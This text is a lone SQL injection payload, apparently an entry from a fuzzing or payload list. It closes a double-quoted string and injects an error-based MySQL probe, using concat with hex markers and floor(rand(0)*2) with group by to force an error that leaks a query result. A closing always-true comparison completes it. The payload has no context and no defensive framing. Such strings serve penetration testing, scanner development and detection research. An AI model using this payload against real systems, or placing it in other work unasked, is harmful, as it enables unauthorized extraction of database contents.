"1"" and row  (  6237,7469  )  >  (  select count  (  *  )  ,concat  (  0x7171706a71,  (  select   (  elt  (  6237  =  6237,1   )    )     )  ,0x717a767a71,floor  (  rand  (  0  )  *2   )    )   x from   (  select 5192 union select 3785 union select 3931 union select 7158  )  a group by x  )   and ""nzgn""  =  ""nzgn"